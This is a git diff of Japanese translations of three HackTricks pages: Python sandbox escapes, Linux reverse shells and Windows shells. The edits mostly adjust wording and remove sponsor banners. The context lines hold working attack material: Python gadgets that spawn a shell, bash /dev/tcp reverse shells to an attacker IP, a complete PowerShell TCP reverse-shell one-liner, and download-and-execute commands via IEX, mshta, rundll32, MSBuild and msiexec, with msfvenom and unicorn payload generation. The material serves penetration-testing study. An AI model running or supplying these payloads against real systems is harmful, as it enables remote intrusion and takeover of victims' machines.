### [デコレーター](https://docs.python.org/3/glossary.html#term-decorator)を使用したRCE
|
||||
```python
|
||||
|
@ -205,7 +197,7 @@ class _:pass
|
|||
|
||||
#### カスタムクラスによるRCE
|
||||
|
||||
いくつかの**クラスメソッド**(_既存のクラスメソッドを上書きするか、新しいクラスを作成することによって_)を修正して、**直接呼び出すことなく**トリガーされたときに**任意のコード**を**実行**させることができます。
|
||||
いくつかの**クラスメソッド**(既存のクラスメソッドを上書きするか、新しいクラスを作成することによって)を修正して、**直接呼び出すことなく**トリガーされたときに**任意のコード**を**実行**させることができます。
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -257,7 +249,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
|||
```
|
||||
#### [メタクラス](https://docs.python.org/3/reference/datamodel.html#metaclasses)を使ったオブジェクトの作成
|
||||
|
||||
メタクラスが私たちに許可する重要なことは、**コンストラクタを直接呼び出すことなくクラスのインスタンスを作成する**ことであり、ターゲットクラスをメタクラスとして新しいクラスを作成することです。
|
||||
メタクラスが私たちに許可する重要なことは、**コンストラクタを直接呼び出すことなく、クラスのインスタンスを作成する**ことです。これは、ターゲットクラスをメタクラスとして新しいクラスを作成することによって実現されます。
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
|
@ -274,7 +266,7 @@ Sub['import os; os.system("sh")']
|
|||
```
|
||||
#### 例外を伴うオブジェクトの作成
|
||||
|
||||
**例外がトリガーされる**と、**Exception**のオブジェクトが**作成され**、コンストラクタを直接呼び出す必要はありません([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)からのトリック):
|
||||
**例外がトリガーされる**と、**Exception**のオブジェクトが**作成され**、コンストラクタを直接呼び出す必要はありません([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)のトリック):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
|
@ -340,7 +332,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
`__builtins__`がない場合、**すべてのグローバル関数**(`open`、`import`、`print`など)が**ロードされていない**ため、何もインポートしたり、ファイルを読み書きしたりすることはできません。\
|
||||
しかし、**デフォルトではPythonは多くのモジュールをメモリにインポートします**。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な**機能を**インポートしている**ものもあり、それにアクセスすることで**任意のコード実行**を得ることができます。
|
||||
|
||||
以下の例では、**無害な**モジュールのいくつかを**悪用**して、内部の**危険な**機能に**アクセス**する方法を観察できます。
|
||||
以下の例では、**無害な**モジュールのいくつかを**悪用**して、**危険な****機能**に**アクセス**する方法を観察できます。
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -424,11 +416,11 @@ class_obj.__init__.__globals__
|
|||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**以下により大きな関数があります**](./#recursive-search-of-builtins-globals) で、**グローバル変数**を見つけるための**場所**を数十/**数百**見つけることができます。
|
||||
[**以下により大きな関数があります**](./#recursive-search-of-builtins-globals) で、**グローバル**を見つけることができる**場所**を数十/**数百**見つけることができます。
|
||||
|
||||
## 任意の実行を発見する
|
||||
|
||||
ここでは、**より危険な機能**を簡単に発見し、より信頼性の高いエクスプロイトを提案する方法を説明します。
|
||||
ここでは、**より危険な機能を簡単に発見**し、より信頼性の高いエクスプロイトを提案する方法を説明します。
|
||||
|
||||
#### バイパスを使用したサブクラスへのアクセス
|
||||
|
||||
|
@ -561,7 +553,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
|||
## ビルトイン、グローバルの再帰的検索...
|
||||
|
||||
{% hint style="warning" %}
|
||||
これはただの**素晴らしい**ものです。もしあなたが**グローバル、ビルトイン、オープンなどのようなオブジェクトを探しているなら**、このスクリプトを使って**そのオブジェクトを見つけることができる場所を再帰的に見つけてください。**
|
||||
これはただの**素晴らしい**ものです。もし**globals、builtins、open、またはその他のオブジェクトを探しているなら**、このスクリプトを使って**そのオブジェクトを見つけることができる場所を再帰的に見つけてください。**
|
||||
{% endhint %}
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
@ -711,11 +703,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
注意してほしいのは、通常の方法で**属性**に**ドット**を使ってアクセスできることです。例えば、`people_obj.__init__`や、**辞書要素**に**括弧**を使って引用符なしでアクセスできることです。例:`__globals__[CONFIG]`
|
||||
注意してほしいのは、通常の方法で**属性**に**ドット**を使ってアクセスできることです。例えば `people_obj.__init__` と、**辞書要素**には**括弧**を使って引用符なしでアクセスできることです。例: `__globals__[CONFIG]`
|
||||
|
||||
また、`.__dict__`を使用してオブジェクトの要素を列挙できることにも注意してください。例:`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
また、`.__dict__`を使用してオブジェクトの要素を列挙できることにも注意してください。例: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
フォーマット文字列の他の興味深い特徴は、**`str`**、**`repr`**、**`ascii`**の**関数**を指定されたオブジェクトで実行する可能性です。これにはそれぞれ**`!s`**、**`!r`**、**`!a`**を追加します:
|
||||
フォーマット文字列の他の興味深い特徴は、**`str`**、**`repr`**、**`ascii`**の**関数**を指定されたオブジェクトで実行する可能性です。これにはそれぞれ**`!s`**、**`!r`**、**`!a`**を追加します:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
|
@ -734,7 +726,7 @@ return 'HAL 9000'
|
|||
**フォーマット** **文字列**の**例**についての**さらなる例**は[**https://pyformat.info/**](https://pyformat.info)で見つけることができます。
|
||||
|
||||
{% hint style="danger" %}
|
||||
以下のページも確認して、Python内部オブジェクトから**機密情報を読み取る**ガジェットを探してください:
|
||||
次のページも確認して、Python内部オブジェクトから**機密情報を読み取る**ガジェットを探してください:
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||
|
@ -755,12 +747,12 @@ return 'HAL 9000'
|
|||
## Pythonオブジェクトの解剖
|
||||
|
||||
{% hint style="info" %}
|
||||
もし**pythonバイトコード**について深く**学びたい**なら、このトピックに関する**素晴らしい**投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
**Pythonバイトコード**について深く**学びたい**場合は、このトピックに関する**素晴らしい**投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
いくつかのCTFでは、**フラグ**が存在する**カスタム関数の名前**が提供され、その**関数**の**内部**を確認して抽出する必要があります。
|
||||
|
||||
これが調査する関数です:
|
||||
これが検査する関数です:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -771,7 +763,7 @@ return "THIS-IS-THE-FALG!"
|
|||
else:
|
||||
return "Nope"
|
||||
```
|
||||
#### ディレクトリ
|
||||
#### dir
|
||||
```python
|
||||
dir() #General dir() to find what we have loaded
|
||||
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
||||
|
@ -793,7 +785,7 @@ CustomClassObject.__class__.__init__.__globals__
|
|||
|
||||
### **関数コードへのアクセス**
|
||||
|
||||
**`__code__`** と `func_code`: この **属性** に **アクセス** して、関数の **コードオブジェクト** を **取得** できます。
|
||||
**`__code__`** と **func_code**: この **属性** に **アクセス** することで、関数の **コードオブジェクト** を **取得** できます。
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
|
@ -952,7 +944,7 @@ types.CodeType.__doc__
|
|||
### 漏洩した関数の再作成
|
||||
|
||||
{% hint style="warning" %}
|
||||
次の例では、関数コードオブジェクトから関数を再作成するために必要なすべてのデータを直接取得します。**実際の例**では、関数を実行するために必要なすべての**値**が**漏洩させる必要があるもの**です。
|
||||
次の例では、関数コードオブジェクトから関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するためのすべての**値**、すなわち**`code_type`**を**漏洩させる**必要があります。
|
||||
{% endhint %}
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
|
@ -1006,7 +998,7 @@ f(42)
|
|||
```
|
||||
## コンパイルされたPythonの逆コンパイル
|
||||
|
||||
[**https://www.decompiler.com/**](https://www.decompiler.com)のようなツールを使用すると、与えられたコンパイル済みのPythonコードを**逆コンパイル**できます。
|
||||
[**https://www.decompiler.com/**](https://www.decompiler.com) のようなツールを使用すると、与えられたコンパイル済みのPythonコードを**逆コンパイル**できます。
|
||||
|
||||
**このチュートリアルをチェックしてください**:
|
||||
|
||||
|
@ -1018,7 +1010,7 @@ f(42)
|
|||
|
||||
### アサート
|
||||
|
||||
`-O`パラメータで最適化されたPythonは、アサートステートメントと**debug**の値に基づく任意のコードを削除します。\
|
||||
`-O` パラメータで最適化されたPythonは、アサートステートメントと**debug**の値に基づく任意のコードを削除します。\
|
||||
したがって、次のようなチェックが
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
@ -1039,23 +1031,18 @@ will be bypassed
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
**これらのシェルについて質問がある場合は** [**https://explainshell.com/**](https://explainshell.com) **で確認できます。**
|
||||
**これらのシェルについて質問がある場合は、** [**https://explainshell.com/**](https://explainshell.com) **を確認してください。**
|
||||
|
||||
## Full TTY
|
||||
|
||||
**リバースシェルを取得したら**[ **このページを読んでフルTTYを取得してください**](full-ttys.md)**。**
|
||||
**リバースシェルを取得したら、**[ **完全なTTYを取得するためにこのページを読んでください**](full-ttys.md)**。**
|
||||
|
||||
## Bash | sh
|
||||
```bash
|
||||
|
@ -55,7 +47,7 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
```
|
||||
#### シェルの説明
|
||||
|
||||
1. **`bash -i`**: このコマンドの部分は、インタラクティブ(`-i`)Bashシェルを開始します。
|
||||
1. **`bash -i`**: このコマンドの部分は、インタラクティブな(`-i`)Bashシェルを開始します。
|
||||
2. **`>&`**: このコマンドの部分は、**標準出力**(`stdout`)と**標準エラー**(`stderr`)を**同じ宛先**にリダイレクトするための省略記法です。
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: これは、**指定されたIPアドレスとポートへのTCP接続を表す特別なファイル**です。
|
||||
* **出力とエラーストリームをこのファイルにリダイレクトすることにより**、コマンドはインタラクティブシェルセッションの出力を攻撃者のマシンに送信します。
|
||||
|
@ -139,7 +131,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
|
|||
```bash
|
||||
while true; do nc -l <port>; done
|
||||
```
|
||||
コマンドを送信するには、書き込み、Enterを押し、CTRL+Dを押します(STDINを停止するため)。
|
||||
コマンドを送信するには、書き込み、エンターを押し、CTRL+Dを押します(STDINを停止するため)。
|
||||
|
||||
**被害者**
|
||||
```bash
|
||||
|
@ -340,15 +332,9 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -356,7 +342,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,24 @@
|
|||
# Shells - Windows
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Lolbas
|
||||
|
||||
ページ[lolbas-project.github.io](https://lolbas-project.github.io/)は、Windows用であり、[https://gtfobins.github.io/](https://gtfobins.github.io/)はLinux用です。\
|
||||
明らかに、**WindowsにはSUIDファイルやsudo権限はありません**が、**バイナリ**がどのように(悪用されて)予期しないアクションを実行するために使用されるかを知ることは有用です。例えば、**任意のコードを実行する**ことです。
|
||||
ページ [lolbas-project.github.io](https://lolbas-project.github.io/) は、Linux の [https://gtfobins.github.io/](https://gtfobins.github.io/) の Windows バージョンです。\
|
||||
明らかに、**Windows には SUID ファイルや sudo 権限はありません**が、**バイナリ**がどのように(悪用されて)予期しないアクションを実行するために使用されるかを知ることは有用です。例えば、**任意のコードを実行する**ことなどです。
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -106,14 +98,14 @@ echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/Power
|
|||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
ネットワーク呼び出しを行うプロセス: **svchost.exe**\
|
||||
ネットワークコールを実行しているプロセス: **svchost.exe**\
|
||||
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
|
||||
|
||||
**ワンライナー:**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
**この文書の最後で異なるPowershellシェルについての詳細を取得する**
|
||||
**この文書の最後で異なるPowershellシェルについての詳細を取得します**
|
||||
|
||||
## Mshta
|
||||
|
||||
|
@ -190,7 +182,7 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given
|
|||
|
||||
[**Dll ハローワールドの例**](https://github.com/carterjones/hello-world-dll)
|
||||
|
||||
* [こちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
* [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```
|
||||
|
@ -302,7 +294,7 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh
|
|||
```bash
|
||||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
ネットワーク呼び出しを行っているプロセス: **svchost.exe**\
|
||||
ネットワークコールを実行しているプロセス: **svchost.exe**\
|
||||
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
|
@ -321,7 +313,7 @@ impacket-smbserver -smb2support kali `pwd`
|
|||
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
||||
python -m SimpleHTTPServer 80
|
||||
```
|
||||
被害者:
|
||||
被害者:
|
||||
```
|
||||
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||
```
|
||||
|
@ -355,7 +347,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
この技術を使用して、アプリケーションホワイトリストおよびPowershell.exeの制限を回避できます。PSシェルが表示されます。\
|
||||
この技術を使用して、アプリケーションホワイトリストとPowershell.exeの制限を回避できます。PSシェルが表示されます。\
|
||||
これをダウンロードして実行してください: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
|
@ -453,7 +445,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
|
|||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
ユニコーンを使用してメタスプリットバックドアのPowerShellバージョンを作成します
|
||||
unicornを使用してmetasploitバックドアのpowershellバージョンを作成します
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
|
@ -469,9 +461,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
|
||||
## もっと
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) 一部の攻撃的なPSモジュールがプリロードされたPSコンソール(暗号化)\
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) 一部の攻撃的なPSモジュールがプリロードされたPSコンソール (暗号化)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) 一部の攻撃的なPSモジュールとプロキシ検出を備えたPSコンソール(IEX)
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) 一部の攻撃的なPSモジュールとプロキシ検出を備えたPSコンソール (IEX)
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -482,24 +474,19 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) 一部の攻撃的なPSモジ
|
|||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
